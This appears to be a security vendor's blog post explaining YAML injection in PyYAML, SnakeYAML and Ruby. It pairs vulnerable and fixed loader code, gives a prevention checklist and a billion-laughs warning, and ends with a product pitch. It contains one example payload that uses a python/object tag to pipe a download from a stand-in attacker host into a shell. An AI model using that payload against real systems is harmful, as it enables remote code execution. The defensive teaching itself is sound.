YAML is everywhere in modern infrastructure — Kubernetes manifests, CI pipelines, application config, GitHub Actions. It reads like plain text, so teams treat it as inert data. That assumption is exactly the problem: several popular YAML parsers can instantiate arbitrary language objects, and a config value from the wrong source becomes a code-execution primitive.
What is YAML injection?
YAML injection is a vulnerability where an application parses attacker-influenced YAML with a loader that supports language-specific type tags, allowing the attacker to instantiate arbitrary objects or execute code during parsing. It is a specific case of insecure deserialization (CWE-502). The danger comes from YAML's tag system: constructs like !!python/object/apply (PyYAML), !ruby/object (Psych), or arbitrary Java type tags (SnakeYAML) instruct the parser to build real objects, not just strings and maps.
How the attack works
Full-featured YAML loaders resolve tags into native objects. In Python, yaml.load() with the default (unsafe) loader will honor a tag that calls os.system:
# attacker-supplied config value
!!python/object/apply:os.system ["curl https://evil.tld/x | sh"]
The same class of bug hit real frameworks. SnakeYAML — the default YAML library for a huge portion of the Java ecosystem, including many Spring Boot apps — would by default deserialize arbitrary types unless you passed a restricted constructor, a footgun that produced a long string of downstream advisories. Ruby's history includes CVE-2013-0156, where Rails parsed request parameters as YAML and allowed remote code execution on unpatched servers worldwide. The through-line is always the same: an untrusted string reaches a loader powerful enough to build objects.
Vulnerable vs. fixed
The single most common YAML injection in Python:
# VULNERABLE — full loader honors !!python/object tags => RCE
import yaml
def load_config(raw: str):
return yaml.load(raw) # default Loader is unsafe with untrusted input
The fix is a one-word change that removes the entire code-execution surface — use the safe loader, which only produces standard scalars, lists, and dicts:
# FIXED — safe_load builds data only, never arbitrary objects
import yaml
def load_config(raw: str):
return yaml.safe_load(raw) # !!python/object tags now raise an error
In Java with SnakeYAML, construct the parser with a SafeConstructor (or use the SafeConstructor-backed defaults in current versions) rather than the permissive default:
// FIXED — restrict SnakeYAML to safe types
Yaml yaml = new Yaml(new SafeConstructor(new LoaderOptions()));
Map<String, Object> config = yaml.load(input);
In Ruby, use YAML.safe_load (which permits only a whitelist of classes) instead of YAML.load.
Prevention checklist
- Always use the safe loader.
yaml.safe_loadin Python,YAML.safe_loadin Ruby,SafeConstructorin SnakeYAML. Treat the full loaders as forbidden for any external input. - Never parse untrusted YAML with tag support enabled. Config from the same repo is one trust level; config uploaded by a user or fetched over the network is another.
- Validate against a schema after parsing. Even safe-loaded YAML can carry unexpected structure — enforce the shape you expect (e.g. with Pydantic, JSON Schema, or a typed struct).
- Keep parsers patched. Upgrade PyYAML, SnakeYAML, and Psych promptly; several fixes have specifically tightened default safety.
- Prefer data-only formats for machine-to-machine payloads. JSON has no object-instantiation tags, which removes this attack class entirely for APIs.
- Constrain resource limits. Guard against billion-laughs-style entity expansion and deeply nested documents that exhaust memory.
Where YAML injection hides in 2026 stacks
The riskiest YAML parsing rarely lives in obvious "config loader" code. It hides in feature flags loaded from a database, in webhook payloads a service accepts as YAML for convenience, in CI jobs that parse a YAML file from an untrusted pull request, and in Kubernetes operators that ingest custom-resource fields authored by tenants. Each of these is a trust boundary that looks like plain configuration but is actually attacker-influenced. Ask one question of every YAML load in your codebase: could an outsider ever influence these bytes? If the answer is anything but a firm no, the loader must be a safe loader and the parsed result must be schema-validated.
The billion-laughs angle
Beyond code execution, YAML parsers are vulnerable to resource-exhaustion attacks. A "billion laughs" document uses nested anchor and alias references to expand a few kilobytes into gigabytes during parsing, exhausting memory and denying service. Safe loaders do not stop this on their own — you also need document-size limits, caps on alias and anchor counts, and a maximum nesting depth. Treat untrusted YAML as both a code-execution risk and an availability risk, and put limits in front of the parser rather than trusting the input to be well-behaved.
How Safeguard helps
YAML injection sits at the intersection of insecure code and vulnerable dependencies, so it needs both lenses. Griffin AI code review flags calls to unsafe loaders — yaml.load without a safe loader, YAML.load, a SnakeYAML Yaml built without a SafeConstructor — and follows whether the parsed input crosses a trust boundary, so you fix the calls that actually matter first. Safeguard's software composition analysis tracks the YAML libraries in your dependency graph and surfaces advisories the moment a parser default changes or a new bypass is disclosed. Because YAML footguns love to hide in CI and infrastructure config, the Safeguard CLI lets you scan repositories — including their pipeline definitions — before merge, and Safeguard's auto-fix can convert an unsafe load call to its safe equivalent in a pull request.
Evaluating coverage against a legacy SAST product? See the Safeguard vs Checkmarx comparison.
Get started free at app.safeguard.sh/register, and browse safe-parsing guidance at docs.safeguard.sh.